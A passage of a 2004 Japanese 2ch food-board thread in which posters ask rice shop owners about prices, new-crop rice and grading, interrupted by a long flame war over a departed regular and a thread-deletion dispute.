コーヒーキターーーーーーーーーーーーーーーーーーーーーーーー

572 :もぐもぐ名無しさん:04/08/17 15:05
コーヒーでもなんでもいいけど
Q&A以外は下記の新スレがお勧めです。

http://food6.2ch.net/test/read.cgi/food/1092026699/l50

573 :もぐもぐ名無しさん:04/08/17 15:46
>>572
それなら↓のような掲示板もあるよ

http://society3.2ch.net/agri/

スレ立ててみては?

574 :もぐもぐ名無しさん:04/08/17 15:48
追加↓こういうのもあった

http://money3.2ch.net/manage/

575 :もぐもぐ名無しさん:04/08/17 16:56
現在の新潟産コシヒカリ(15年産)の卸価格(米屋の仕入れ価格)はおいくら?

576 :夜ナニー ◆TS8yhAeDPk :04/08/17 19:02
>>560
ごめんなさい。>>569の書き込みは確かにウチのパソコンからなんだけど、
少し前からこのスレにハマってる友人が勝手に書き込んじゃったんです。
>>560さん、他の皆さん失礼しました。

>>575 ウチは\20,000ちょうどです。(玄米60kg)

577 :575:04/08/17 20:22
>>576
ありがとう

578 :もぐもぐ名無しさん:04/08/18 18:13
>>560
五月蠅いかとは思うのですが、
書き言葉だとどうにも気になって。なるべくなら
「食べれる」は「食べられる」でお願いします。

579 :もぐもぐ名無しさん:04/08/18 18:26
>>578
五月蠅い

580 :もぐもぐ名無しさん:04/08/18 18:30
本当にお願い。まじで。
http://school4.2ch.net/test/read.cgi/ojyuken/1081080965/l50
ここに一度でもいいからageってかいてよ。
人助けだと思ってお願い!


581 :もぐもぐ名無しさん:04/08/18 21:44
>578 「食べれる」は「食べられる」でお願いします。

ら抜き言葉で どうして560だけ攻撃?

>520 最終的に自分なりに美味しいご飯を食べるという終着駅

>556 策を講じなくても食べれるレベルであると思う。

>562 「食べれるというレベル」ではなく「策を講じなくても食べれるレベル」

>578 五月蠅いかとは思うのですが、

五月蠅いと思いますが、

>568

精米年月日の確認はされました?
もし16年○月○日の精米年月日なら公取に訴えたほうがいいですよ
販売店の法的責任が生じますので
精米年月日が15年○月○日なら法的責任は無いけれど、商い道徳的に・・・

582 :もぐもぐ名無しさん:04/08/18 22:18
必死な人がいる

583 :もぐもぐ名無しさん:04/08/18 23:50
>>581
どうして>>560だけって、>>560が細かいことに突っ込みまくってるからだろ w
だから、逆に突っ込まれたんじゃねぇの?いやいや、自分で分かってるとは思うけどな。

>>582
まぁ、本人だから必死にもなる罠 w

584 :もぐもぐ名無しさん:04/08/19 00:32
あれてるね。。。。

585 :もぐもぐ名無しさん:04/08/19 11:22
販売製品について行われていた抜き打ちDNA鑑定が原料玄米の段階でも
行われるようになりました。
クロと判定されると米屋だけでなく生産者にも指導が参ります。
生産者の方、農協、農政局には正直に申告してくださいね。
種籾を自家採取している方、時々更新しましょう。

586 :もぐもぐ名無しさん:04/08/19 12:09
米小売り価格は等級で変わりますか?
産地や品種の表示はあっても等級の表示は見た事ないので
同産地、同品種なら1等も2等も販売価格は同じってこと?

587 :もぐもぐ名無しさん:04/08/19 15:48
平成15年産の価格がどんどん下落しているそうだね。
昨日の日経にちょっと記事が載っていたけど。
新米も出回り始めたし、15年産を大量に抱えているところ多いんだろうな。
近所の生協で平成15年産の価格がこの一週間で5kgで500円くらい値下がりしていた。


588 :もぐもぐ名無しさん:04/08/19 15:49
>586
2等になった原因によるけど、割れや着色だと製品にした場合
それらを取り除くため歩留まりが悪くなり、それを考えるとそう
なるかと思います。


589 :もぐもぐ名無しさん:04/08/20 21:24
米残り200グラムしかない。
早く千葉こし新米でないかな。

590 :もぐもぐ名無しさん:04/08/20 22:33
お米屋さんに聞きたい!

君は私のお兄ちゃんか!

591 :もぐもぐ名無しさん:04/08/20 22:46
あげ

592 :もぐもぐ名無しさん:04/08/21 00:06
さげ

593 :もぐもぐ名無しさん:04/08/21 00:32
ぐっじょぶ。。。( ̄ー ̄)ニヤリッ

594 :もぐもぐ名無しさん:04/08/21 01:02
頼りない米屋さんと、その他のコテハンさんに、お願いなんだけど…

そろそろウィルスコード削除依頼出しませんか?
ノートンが毎回反応して、そのたびに全取得になるんですよ。
これじゃ2ちゃんねるブラウザ使ってる意味無いし、ナローバンドなので重たいし。

削除依頼ぐらい自分で出せよって言うのなら出してもいいですよ。
でも、このスレを維持していこうという人が率先してやってくれた方が、
いいんじゃないかなって思うんですよ。
それでこそこのスレを維持しているって胸張って言えると思うし。
それとも理由があってあえて削除依頼を出さないのかなぁ?

荒らされたから新スレ立てて元スレ放置なんて事してるから、新スレがスレスト食らってるし。
たぶん荒らした側がスレスト依頼したんだろうけど、
2ちゃんねるのルールでは単なる重複スレでしかないわけだし。

595 :もぐもぐ名無しさん:04/08/21 01:25
依頼者:大阪府?

596 :もぐもぐ名無しさん:04/08/21 01:53
>>594
削除依頼は削除して欲しい人が出すのが普通じゃねえの?
自分が困ってるのなら、他人に転嫁しないで自分で依頼しろって。
ガキじゃあるまいし。

597 :もぐもぐ名無しさん:04/08/21 02:17
リモホ晒したくなければ難民板で代行を頼むとか。

598 :151.38.205.61.west.flets.alpha-net.ne.jp:04/08/21 02:35
>>596
>頼りない米屋さんと、その他のコテハンさんに、お願いなんだけど…
と書いていますので、トリップ付きの上記の方から「自分で出せ」と言われればそうします。
あなたの言うことを聞く義務も義理もありません。
自分で出さない理由も書いていますし、めんどくさいわけでもないです。

>>597
リモホぐらい別に構いませんよ。晒してみましょう。


599 :もぐもぐ名無しさん:04/08/21 02:39
>594 馬鹿?それとも幼稚園児か
何でも他人に頼る典型だな。おまえの親も大変だな。
それと親切にも、馬鹿に教えてやる。
2ch専用ブラウザ使ってるなら、レスを削除すれ。そんなことも知らないのか。
削除の方法くらい自分で調べろ。

600 :もぐもぐ名無しさん:04/08/21 02:47
>>599
頼る?もう少しきちんと読んでからレスしてくださいね。
それと、すべての2ちゃんねるブラウザでレスの削除が出来ると思っているのでしたら、
それはあなたの勘違いです。

601 :もぐもぐ名無しさん:04/08/21 03:51
>>600
手許の問題は手許で解決しろ。
ブラウザ変えるなり、ウイルススキャンの方法を変えるなり、ナローバンドを解消するなり
手許で解決する方法はいくらでもある。
まずは他人に影響を出さずに解決する方法を考えろ。
原因はおまぃの側にあるんだぞ。おまぃの側の原因を取り除け。

602 :もぐもぐ名無しさん:04/08/21 05:48
コードの冒頭部をNGワードに指定するなどの対策は出来ない?

603 :もぐもぐ名無しさん:04/08/21 07:05
>>594
平穏なのに荒らさないで。
ここで頼りない米屋さんあての発言はやめて。

>私が大嫌いな方は、どうぞこのままこちらで存分にお楽しみ下さい。
上記の啖呵きってここにはもう関係ない人。
おかげで平穏になったわけで、心ある米屋さんだけで十分だと思います。




604 :もぐもぐ名無しさん:04/08/21 07:47




         糸冬              了
  





605 :もぐもぐ名無しさん:04/08/21 07:56
それにしても596,599,601の噛み付き方はすごいねー


606 :もぐもぐ名無しさん:04/08/21 09:19
605=594?

607 :もぐもぐ名無しさん:04/08/21 09:49
>594==605 の馬鹿さ加減は救いようがないなぁ。
何故コテハンだと、困ってもいないのに削除依頼をださなきゃならんのだ。
自分だけの問題だということに気付け。
まあ、馬鹿は死んでも治らないというから、無理かな。


608 :もぐもぐ名無しさん:04/08/21 10:22

(笑)>606,6>07別人だyo

609 :もぐもぐ名無しさん:04/08/21 10:24
訂正↑>607の間違いね

610 :もぐもぐ名無しさん:04/08/21 10:34
605=608=609 は594と同じくらい必死だな

611 :もぐもぐ名無しさん:04/08/21 13:17
http://food6.2ch.net/test/read.cgi/food/1092026699/l50
コテハン連中はここに居るので移動よろしく

612 :もぐもぐ名無しさん:04/08/21 14:48
>>611

スレストくらってるんだよ。オマエバカジャネーノ?

613 :もぐもぐ名無しさん:04/08/21 15:22
>>612
あれほんとだ、なんで?

614 :もぐもぐ名無しさん:04/08/21 15:29
474 :中山仁徳 :04/08/20 16:53 HOST:M114213.ppp.dion.ne.jp<8080><1080>
削除対象アドレス:
http://food6.2ch.net/test/read.cgi/food/1092026699/
http://food6.2ch.net/test/read.cgi/food/1089100718/

削除理由・詳細・その他:
コテハン(頼りない米屋)による占有スレ
占有の明示的な意思表示は、
http://food6.2ch.net/test/read.cgi/food/1089100718/490

お米屋だけど何でも質問に答えます11俵目
http://food6.2ch.net/test/read.cgi/food/1089100718/
(レス数 587)

お米屋だけど何でも質問に答えます11俵半目
http://food6.2ch.net/test/read.cgi/food/1092026699/
(レス数 152)

抵触すると思われるガイドライン条項
3. 固定ハンドル(2ch内)に関して
スレッド
 固定ハンドルが題名に入っている・固定ハンドルが占用している・閉鎖的な使用法を目的としている・等
および、重複・乱立の禁止予防策として、削除・警告を依頼します>


475 :削除胡羅蔔 ★ :04/08/20 19:30 ID:???
>>472-473
ご意見がおありでしたら削除議論板でお願いいたします。

>>474
二類の方のようですので下のスレッド(1089100718)は様子見とし、
上のスレッド(1092026699)は下と重複として停止いたしました。

615 :605.608.609:04/08/21 16:02
初めにいうけど594じゃないよ
だから残ったこのスレをウォッチしているであろうコテハン宛に594は
書いたと思ったし、文章にも書いてあるのに反応の仕方が過激すぎるな
と思ったんだよ。

616 :もぐもぐ名無しさん:04/08/21 17:08
>>615
馬鹿なことを言ってるから反論食らってるだけでしょ。

でね、他の人も言ってるように、
削除依頼を出さないといけないなんて義務は誰も負っていないんだよ。
削除して欲しいなら、その人本人が依頼すればいいだけでね。
変に他人様にあれこれ押しつけるとスレが変になっちゃうと思うよ。
自分でできることは自分でしたほうがいいんじゃないのかな。

617 :もぐもぐ名無しさん:04/08/21 17:38
>>616
594でもないのにレス付けられたから自分の感想を言わせてもらうね。

>削除依頼ぐらい自分で出せよって言うのなら出してもいいですよ。
>でも、このスレを維持していこうという人が率先してやってくれた方が、
>いいんじゃないかなって思うんですよ。
>それでこそこのスレを維持しているって胸張って言えると思うし。
>それとも理由があってあえて削除依頼を出さないのかなぁ?

これで語られていると思うよ。
ホストも晒して書いている人に対して感情的過ぎるなーとオモタヨ。

618 :もぐもぐ名無しさん:04/08/21 17:39
>>617
だから、それが馬鹿な話なのさ。
コテハンはそんな義務を負っていないし、
そもそも名無しの上に立つ存在もない。
同じ立場の参加者なんだよ。

619 :もぐもぐ名無しさん:04/08/21 17:40
また忘れた ↑ 617 ね。

620 :もぐもぐ名無しさん:04/08/21 17:43
>>598
>あなたの言うことを聞く義務も義理もありません。

他人の意見は受け容れないのに、他人には意見すると?
コテハンこそ594の言うことを聞く義務も義理もないわけだが?

621 :619:04/08/21 17:43
ずれちゃったよー マンドクセ w

622 :もぐもぐ名無しさん:04/08/21 17:45
>>619>>621
モチツケ(笑い

623 :もぐもぐ名無しさん:04/08/21 17:48
>>475
それは間違ってます。煽りが意地悪して依頼した模様。
「11俵」をストップして「11俵半」を生かしてください。



624 :もぐもぐ名無しさん:04/08/21 18:43
>>623
多少の煽りぐらいで新スレ立てるなってことでしょが。


625 :もぐもぐ名無しさん:04/08/21 19:05
頼りない米屋さんがこのスレに戻ってくれなければ
いよいよ収穫期というのに良スレが終わるのは仕方ないね。
さらに新スレ立てても重複スレには変わりない。
ニヤリはアオリ虫だろうね。

節穴さんの意味がわかったような気がするよ。

626 :もぐもぐ名無しさん:04/08/21 19:32
>>625
意味不明・・・
2ちゃんねるガイドをもっと読んだ方がいいよ、ご本人さん。


627 :もぐもぐ名無しさん:04/08/21 20:52
>>625
みんながあなたと同じ思いではないんです。
私はむしろ彼がいないほうがスムーズに事が運ぶと思います。
米屋さんは彼だけでないので質問に対する回答もまったく問題ないと思います。
このスレに関係ない人の話題はもうやめましょう。

628 :もぐもぐ名無しさん:04/08/21 20:54
なんかドラクエ3の商人の街の革命を思い出す…。

629 :もぐもぐ名無しさん:04/08/21 22:00
>623 >>475
それは間違ってます。煽りが意地悪して依頼した模様。
「11俵」をストップして「11俵半」を生かしてください。

>475 >>470
宮崎産として味は期待できません。
新米に惹かれて以前は買っていました。
もうすでに値下がり傾向ですね。

だれか意地悪してんの?
わけわかんね


630 :もぐもぐ名無しさん:04/08/21 22:15
>>629
ただの意地悪ではないよ。
悪意だよ。
だれガって?
スレの趣旨に関係なく粘着してる香具師だよ。

631 :もぐもぐ名無しさん:04/08/21 23:48
そもそも、コテハンのためのスレがガイドライン違反で、スレを思い通りにしようとしたのが、
思い通りにいかなかったじゃない?
話題を制限したり、人を貶めたりするから、頼りない米屋さんが叩かれ出したんだよ。
それを「荒れたから」と、スレ放棄し、重複スレを立てるようなマネして、ガイドライン違反を
重ねた頼りない米屋さんを擁護する理由なんてないわいな。
「粘着してる香具師」だの「荒らされた」たせの言うのは、見当違いも甚だしい。
で、

632 :もぐもぐ名無しさん:04/08/22 00:32
>>629
だーかーらー>>614はコピペなんだよ。コピペ中の475なんだわ。
コピペはスレ削除依頼の報告なんじゃないの?
それで、このコピペのスレってどこ?

633 :もぐもぐ名無しさん:04/08/22 00:40
>>631
食文化カテゴリには、コテハンプロが質問を受け付けるスレがいっぱいあるけど、
そこんところどうよ?現実には容認されてるけど。俺も重複スレは拙いと思うが。


ここのコテハン(米屋)さん、2ちゃんねる専用ブラウザ入れたら?
解凍するだけでインストール作業なしで使えるのもあるし、
見たくないレスを2クリックぐらいで不可視にする機能もあるよ。
で、荒らし・煽りはとにかく不可視にしてしまう。
そうすると荒らし・煽りを完全に無視できるので、自然と荒らし・煽りが減ります。
荒らし・煽りにはとにかくレスをしない・見ないのが一番の対策です。
見なけりゃ精神衛生上もいいしね。

634 :もぐもぐ名無しさん:04/08/22 01:13
>食文化カテゴリには、コテハンプロが質問を受け付けるスレがいっぱいあるけど

具体的には、どれ?
いっぱいあると言うからには、二つ三つすぐでてくるだろ?
まずは、状況を見てからだな。

635 :もぐもぐ名無しさん:04/08/22 01:21
頼りない米屋の話題はもういい加減にやめてくれ

>>631
同意
自業自得、あれ本人と擁護発言で板汚すコテハンは迷惑。


636 :もぐもぐ名無しさん:04/08/22 01:33
>>633
まず、ガイドラインの抜粋

>3. 固定ハンドル(2ch内)に関して
>叩きについて
> 最悪板以外では全て削除します。

>スレッド
> 固定ハンドルが題名に入っている・固定ハンドルが占用している・閉鎖的な使用法を目的としている・等は、自己紹介板・最悪板・夢・独り言板・おいらロビー・なんでもあり板以外では、原則として全て削除または移動対象にします。
> ただし、固定ハンドル個人が一群または二類に属する時は、他の削除規定に触れない限り様子見となります。

1. 個人の取り扱い
>定義
>一群
> 政治家・芸能人・プロ活動をしている人物・有罪判決の出た犯罪者

>二類
> 板の趣旨に関係する職業で責任問題の発生する人物
> 著作物or創作物or活動を販売または提供して対価を得ている人物
> 外部になんらかの被害を与えた事象の当事者


「米屋」「頼りない米屋」では単なるコテハン。
“板の趣旨に関係する職業で責任問題の発生する人物”に該当する要件を満たせば
もちろん、プロが答えるコテハンを冠するスレが立てて維持出来るんだけれど、
それには、店の看板でも賭けてやってのことだろ。
どの米屋かしらんが本業が米屋のようだ…では責任問題の発生するの要件に不十分。
少なくとも、屋号と連絡方法くらいは明示してはじめて成立する要件だわぃな。

637 :もぐもぐ名無しさん:04/08/22 02:11
>>636

ガイドライン云々というのなら、
ガイドラインの「コテハンを叩くな」を守らなけりゃいけないな。
ここは最悪板じゃないんだから。

638 :もぐもぐ名無しさん:04/08/22 06:48
叩かれる理由が、ガイドライン違反の「スレの占有」なんだから、やむをえんわな。
叩かれたくなきゃあ、コテハン捨てるなり、違反やめるなり、すりゃあいいだけのことだ。

639 :もぐもぐ名無しさん:04/08/22 07:35



   という事で有益なスレでありましたが終了です。
  




640 :もぐもぐ名無しさん:04/08/22 08:09
>>637 >>639
いつもでも擁護発言で板を汚すな。
これはもう立派な荒らしです。
件の人物の名無し自演でしょうかね?

終了ってことでもう二度と来ないで下さい。
来るなら荒らさないようにお願いします。



641 :もぐもぐ名無しさん:04/08/22 08:23
さて
まな板カビが生えそうだから良く洗って天日に干そう。

642 :もぐもぐ名無しさん:04/08/22 09:45
ずっと黙ってたが俺は彼本人の素性を知るたぶん唯一の人間だと思うが彼は厳正な奴だよ。
本人と話すと「2ちゃんにはがっかりしてるのと飽きた」らしい。俺に言わせりゃあんな忙しく売れてて
よくもまあ3年も維持できたと思う。他の米屋に同じ気合と知識があるのかな。俺は無いね。
それに奴はこの地方の相場を作っちゃってる1人だから知識、売り上げ、信用は俺らには到底及ばないからな。
良いスレだったが終了でしょ。よほど復帰コールがあっても無理だろ。煽った者共、嬉しいだろ満足だろ。
悪貨は良貨を駆逐する見本だな。あーそーそーこれは自演じゃねーぞ。


643 :もぐもぐ名無しさん:04/08/22 11:14
>>642
スレを立てたのは頼りない米屋さんの意思でそ?

>本人と話すと「2ちゃんにはがっかりしてるのと飽きた」らしい。俺に言>わせりゃあんな忙しく売れてて
>よくもまあ3年も維持できたと思う。他の米屋に同じ気合と知識があるの>かな。俺は無いね。

維持しようとしたのも本人でそ?
2chが嫌になって去る人もいれば、利用の仕方を変えて戻ってくる人もいる。
全て本人の意思だよ。2chのせいじゃない。

>642も今迄参加してなかったとは思わないし、信者みたいな人の書き込みが
頼りない米屋さんを錯覚させ、結果として反感を買うようになったという
一面もあると思うよ。

トリップ付けようが、コテハンになろうが、ID制にしようが名無しが前提の掲示板でそ。
流れで良スレにも駄スレにもなるのは住人の意識が変化するからだよ。


644 :傍観中の米屋:04/08/22 11:53
違うね                    チミも夏厨だから




どちらにせよ普通の質問に普通に答えられる米屋はゴロゴロいるだろうがそんなもん雑誌でもHPでも見てりゃ簡単に調べられるからな。
あやつが凄いのは俺ら米屋が仲間同士の話でも決して言いたくない産地情報や経営指標をここでバンバンしゃべっちゃう事。
普通知らなかったり知ってても言わない貴重な情報をここで拾って参考にした米屋は多いと思う。
業界では隠れた人気スレだったのにな。消費者にしてもかなり恩恵を受けた人は多いと思うぞ。
いずれにせよ無記名の書き込みだからこそ書いてくれた貴重な2ちゃんスレだったのにな。
いつの日か再開する事を望みつつ          合掌


645 :もぐもぐ名無しさん:04/08/22 12:12
オフで頼りない米屋さんに会えたとしても
とても話して貰えないだろうね。


646 :もぐもぐ名無しさん:04/08/22 12:20
>>642>>644
もう痛すぎて見ていられません。3年間も頻繁なレスを読んでいると、
頼りないさんの思考傾向とか言い回しの癖などはわかってしまう。
負けず嫌いの性格や多少自己愛が肥大化していることも。
ここはもう折れて、業界板で新しくスレを立て直したらいかがですか。


647 :643:04/08/22 12:28
>>644
えーっと
夏という事もないのですが、批判的にこのスレを見る人が増えたというのは
事実だと思いますよ。
毎年繰り返される事なら重複スレまで立てることは無いと思うしね。
貴重な業者情報源だったというなら、業界版にスレを立てて誘導されると言う
ことも出来るし。

648 :もぐもぐ名無しさん:04/08/22 12:28
>>644
違うねって偉そうだけど、みんな同じ考えじゃないんだよ。
普通の質問に普通に答えられる米屋を求めてる人もいるだろうし、
このスレで米屋に対するイメージがさらに悪くなった人もいるだろう。。。
都合悪いことがあらしならば公開の場を間違えてるよ。
業界で隠れた人気だったら、一般人を排除できるアクセス規制のある掲示板に
コテハン業界人のみで行けばいい。再三、指摘されてるじゃん。


649 :もぐもぐ名無しさん:04/08/22 12:43
センセイ!ナツチュウタクサンハッケン。シュクダイノカワリガッコウヘモッテッテイイデスカ。。。。。

650 :もぐもぐ名無しさん:04/08/22 13:44
>>637
まあ、ともかく、ルールで守られるのは、ルールを遵守していることが条件。

651 :もぐもぐ名無しさん:04/08/22 16:49
ま、もう暫くしたら夏休みも終わりだろ。それまでの辛抱さ。
ちゃんと宿題やれよw>粘着夏厨

652 :もぐもぐ名無しさん:04/08/22 16:51
ま、それにも関わらずスルーできなかったのは
頼りない米屋さんの失点だけどな。
煽り耐性低すぎなのにコテ名乗るのは厳しいと思うよ。

653 :もぐもぐ名無しさん:04/08/22 19:33
もうすぐ1000になるかな

654 :もぐもぐ名無しさん:04/08/22 19:36
こういう時って、夜ナニーさんとか精米中さんとかご意見ないのかな?

655 :もぐもぐ名無しさん:04/08/22 19:38
スレの核心に迫るところで煽れないのがご愛敬だな。

656 :もぐもぐ名無しさん:04/08/22 20:19
先物とか、あったじゃん。

657 :もぐもぐ名無しさん:04/08/22 20:39
>>654
ここで彼らに意見を求めるのは少し酷だろう。
あくまでも中立っぽかったしね。擁護もしないが、批判もしない。
コテハン名乗って質問に答えるなら、妥当なスタンスだろうね。

そして、彼らと頼りない米屋の大きな違いは、煽りを完全にスルーできるか出来ないか。
コテハン米屋全員が叩かれているわけではないのに、その理由を考えようともせず、
煽りを夏厨扱いし、自分は間違ってないと思い込む。
で、最後には自分のことは棚に上げて2ちゃんに失望とはコレいかに?
俺は頼米は好きでも嫌いでもないが、この辺のとこは禿しく???だ。

>あやつが凄いのは俺ら米屋が仲間同士の話でも決して言いたくない産地情報や経営指標をここでバンバンしゃべっちゃう事。
>>644にとってはすごいのかもしれんが、俺は何とも思わなかったなぁ。
彼の書き込みが全く役に立たなかったとは言わないけどね。

658 :もぐもぐ名無しさん:04/08/22 22:02
くだらねえ。
最近まったく米の話題ないじゃん。
訳知り顔の自治会さんたちはたのしそうだけどな。
もうこんなスレ、やめちまえばいいのに。

659 :もぐもぐ名無しさん:04/08/22 23:36
米屋さんで売れ残ってしまった米は
最終的には誰かが引き取るのでしょうか?
それとも自力で捌かなきゃならないの?

660 :もぐもぐ名無しさん:04/08/23 09:01
16年産とかに化けるんでない?

661 :もぐもぐ名無しさん:04/08/23 09:24
>>660
そりゃ、もしあったとしても大手の問屋(=白米どりのスーパーとか)じゃない?

>>659
少なくとも玄米で入荷して自家精米しているお米屋さんは
売れ残るようには精米しないし、玄米なら仕入れないよ。
うちの場合、全て白米は当日精米したものだけ売ってます。


662 :ただ今精米中 ◆hebglziyis :04/08/23 10:39
 どうしも、残ってしまった製品は、砕米として業者に払い下げます。 煎餅などの原料に。

663 :もぐもぐ名無しさん:04/08/23 10:45
>>658
全く。今年の新米情報が知りたいのに。
早く落ち着かないかな。

このところ東京では千葉ふさおとめの新米が5k2100円くらいで出てきている。

664 :もぐもぐ名無しさん:04/08/23 11:28
スレ主追い出して自分等を正当化するバカ共は早く去ね

665 :もぐもぐ名無しさん:04/08/23 11:55
推定
一匹しかいない。

千葉産新米 まだスーパー店頭に出ない。@埼玉

666 :もぐもぐ名無しさん:04/08/23 15:25
>>663
>>664

だ・か・ら 業界人スレつくって教祖様に来てもらえよ。
まったく情けない。2ちゃんが情報源か?そんな米屋はやめてしまえ。

667 :もぐもぐ名無しさん:04/08/23 18:22
ここにも1匹
ほれ>>666お前な。

668 :もぐもぐ名無しさん:04/08/23 18:55
こんな具合で♪こんな具合で♪1000まで逝くんでしょ♪
スレ主悪いか♪追い出し悪いか♪夏厨悪いか知りません♪
イインジャナ〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜〜イ♪
みんなまとめて          煽り切りっ!!!!













さて削除以来でも出すとするか

669 :もぐもぐ名無しさん:04/08/23 19:57
666さんに質問です。あなたの職業は何ですか?正直に答えて下さいね。

670 :もぐもぐ名無しさん:04/08/23 20:06
669さんに質問です。あなたの職業は何ですか?正直に答えて下さいね。

671 :もぐもぐ名無しさん:04/08/23 20:12
しばらく、うどん食パン菓子パンジャガイモトウモロコシを食べていたら
コメの飯がうまい。
塩気があれば、おかずなしで腹一杯食える。
コメは偉大だ。

672 :米食いたい人:04/08/23 23:00
☆送税込み!山形庄内産 農場直送15年コシヒカリ玄米30kg☆
http://page3.auctions.yahoo.co.jp/jp/auction/c67123806

☆山形庄内産 農場直送 15年『はえぬき』玄米30kg☆
http://page7.auctions.yahoo.co.jp/jp/auction/g26086099

上記商品2つの味の違いはどうなんでしょうか?
どちらか一つ買いたいと思っているのですが
いかがでしょうか?

673 :もぐもぐ名無しさん:04/08/23 23:16
>>672
特にこだわりがなければ16年産新米を買いましょう。
いまさら農場の高値覚えにつきあう必要ないと思う。

674 :米食いたい人:04/08/23 23:34
>>637
農場の高値覚え

無知ですみません。
この用語はどういう意味でしょうか?

675 :もぐもぐ名無しさん:04/08/24 00:28
そこそこの米を高級圧力電機釜で炊くのと、
高級新米をそこそこの電機ジャーでたくのではどっちが美味しいのかな?

676 :もぐもぐ名無しさん:04/08/24 00:31
宮崎こしひかり新米買いました。
・・なんか粉っぽい感じがしました。


677 :もぐもぐ名無しさん:04/08/24 00:46
うちも先々週買いました。新米がイイという家族の強い要望で…
不味くはないけど、新米とは思えないほどボソボソして香りも弱い。
15年富山コシヒカリを買うつもりだったのに。。。

678 :もぐもぐ名無しさん:04/08/24 04:30
お米屋さんが弟子を取るとしたらどっち?

1.18歳高卒。頭が悪いわけではないが社会経験無しで
   米に対する知識が殆どなく、炊き方から教えなければならないぐらい。
   言葉遣い、一般常識も一から叩き込む必要有り。
   PCはロクに扱えない、車の運転は青葉マーク。
   ただやる気はあり。物覚えは良い。
   急な休日出勤や深夜までの仕事にも躊躇なく付き合う。

2.23歳大卒。それなりに知識はあり。英語もそこそこ喋れる。
  普段の言葉遣いも悪くない。物腰も柔らかい。
  車の運転は問題無しで、付近の交通事情もわかっている。
  PCもエクセル程度なら扱える。もちろんインターネットもできる。
  ただし、2chやっているかもしれないw
  やる気はあるが、休日出勤や深夜まで仕事する時などは
  嫌な顔するかも知れない。ちょっと引いた感じになる。

679 :もぐもぐ名無しさん:04/08/24 06:46
16年度産新米(未検査、玄米30s)で、
@千葉コシ・A茨城コシ・B埼玉コシの仕入れ価格は、
いくら位でしょうか?業務用に検討中・・・
よろしくおねがいいたします。

680 :もぐもぐ名無しさん:04/08/24 08:03
>>674
15年産は不作とされ高く売れた事を学習しただけ。
それにオークションは売り手に圧倒的に有利。
>>678
跡取り仕込みを同業者に頼まれたなら両方良いでしょ。

681 :669:04/08/24 08:10
米屋です。

666さんご職業は?













無職?

682 :もぐもぐ名無しさん:04/08/24 08:40
職業も個人情報のうちだよ。
しつこく聞いてどうするの?
聞かれても答える必要ないよ。
世間には一見無職でも食えてる人が沢山いるよ。

コメを売る前に
「お仕事は何をなさってます?」
って聞くの?仕事によって値段が変わるの?無職だと安くしてくれるの?

683 :もぐもぐ名無しさん:04/08/24 08:51
米屋ってこんなピントずれ、常識はずれでもやっていけるんだね。
669みてると大丈夫?(頭もお店も)って思っちゃう。



684 :もぐもぐ名無しさん:04/08/24 09:00
669さんへ追伸
ここはお米の質問、回答スレなんだから
スレ趣旨とは関係の無い職業相談やってる暇あったら
679とかに回答してやれよ。

あなたレベルの米屋には難しい質問だったのかな?

685 :もぐもぐ名無しさん:04/08/24 09:14
>>672
儀礼的な評価が多いとはいえ、
悪い事、粗末な商品にはキッチリ悪い評価のつくオークションですので
下手な米屋から買うよりは良いと思いますよ。

686 :もぐもぐ名無しさん:04/08/24 09:54
下手は米屋はよいコメを安く売ってしまうから
下手な米屋から買うべし。

687 :もぐもぐ名無しさん:04/08/24 10:19
元スレ主が混じってる模様。粘着な人だったんだなあ。
わかりやすい人とも言えるか。。。

688 :もぐもぐ名無しさん:04/08/24 10:43
>>687 
どれ?

689 :もぐもぐ名無しさん:04/08/24 11:06
>>672
安くはないと思うけど・・・。

690 :もぐもぐ名無しさん:04/08/24 11:17
オークションしたことないんだけど
希望価格が最低価格なの?
それならこの時期にしたら高いかな。物は評価が出るから大丈夫
そうだけど。

691 :もぐもぐ名無しさん:04/08/24 11:25
ここ、スゲェひでぇスレになったな。
次のスレタイは”お米屋だから、イジメテぇ!イジメテぇ!”とか
”消費者様だぞ、ホレ質問じゃ!米屋じゃ買わんがナ”とかがいいんじゃん?

板も最悪版に移動だわさ。

692 :もぐもぐ名無しさん:04/08/24 11:39
↑これとか、あれやあれとか・・・

693 :669:04/08/24 11:40
ふ〜ん・・・666さんは米屋じゃないのね。

偉そうに人の批判しているけど、何様?

なにか自分から建設的な意見出したことある?

ただこのスレに粘着しているうじ虫だね。






694 :もぐもぐ名無しさん:04/08/24 11:46
↑これも。完全に荒らし化したね。ほっとこ。

695 :もぐもぐ名無しさん:04/08/24 12:02
      r;ァ'N;:::::::::::::,ィ/      >::::::::::ヽ
.      〃  ヽル1'´        ∠:::::::::::::::::i
       i′  ___, - ,. = -一   ̄l:::::::::::::::l
.      ! , -==、´r'          l::::::/,ニ.ヽ
      l        _,, -‐''二ゝ  l::::l f゙ヽ |、お前はうじ虫なんだよ
        レー-- 、ヽヾニ-ァ,ニ;=、_   !:::l ) } ト
       ヾ¨'7"ry、`   ー゙='ニ,,,`    }::ヽ(ノ  うじ虫は糞にでも集ってろ
:ーゝヽ、     !´ " ̄ 'l,;;;;,,,.、       ,i:::::::ミ
::::::::::::::::ヽ.-‐ ト、 r'_{   __)`ニゝ、  ,,iリ::::::::ミ
::::::::::::::::::::Vi/l:::V'´;ッ`ニ´ー-ッ-,、:::::`"::::::::::::::;゙ ,  な!
:::::::::::::::::::::::::N. ゙、::::ヾ,.`二ニ´∠,,.i::::::::::::::::::::///
:::::::::::::::::::::::::::::l ヽ;:::::::::::::::::::::::::::::::::::::::::::/ /
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696 :もぐもぐ名無しさん:04/08/24 12:12
>>669
おかしいよ。こいつ
一番破壊的なのに建設的意見だってw


697 :もぐもぐ名無しさん:04/08/24 12:19
マジで旧スレ主でない?

698 :もぐもぐ名無しさん:04/08/24 12:37
だね。暴れ疲れるのを待って本筋に戻ろう。

699 :もぐもぐ名無しさん:04/08/24 16:24
669=DQN 

700 :もぐもぐ名無しさん:04/08/24 16:28
安いお米を手に入れたいのですが、どうすればよろしいでしょうか。
・衛生的
・食べるのが苦痛なほど不味くはない
この2つの条件さえ満たしていれば何でもいいです。

701 :もぐもぐ名無しさん:04/08/24 19:38
>>700
あと一ヶ月もすれば美味しい新米が安価で店頭に並びます。
あふれかえります。
毎年千葉県産新米から食べてます。
美味しい新米より鳥も食わないような古米の方が高い価格を
付けていた事に留意しましょう。
店頭にある米なら衛生的には心配ありません。
有名スーパーの特売がおすすめかも。


702 :玄ちゃん:04/08/24 20:31
白米はといで、食べます。
そして、その「とぎ汁」は環境に悪いと言われます。

いま、我が家では、玄米を食べようかと思ってます。
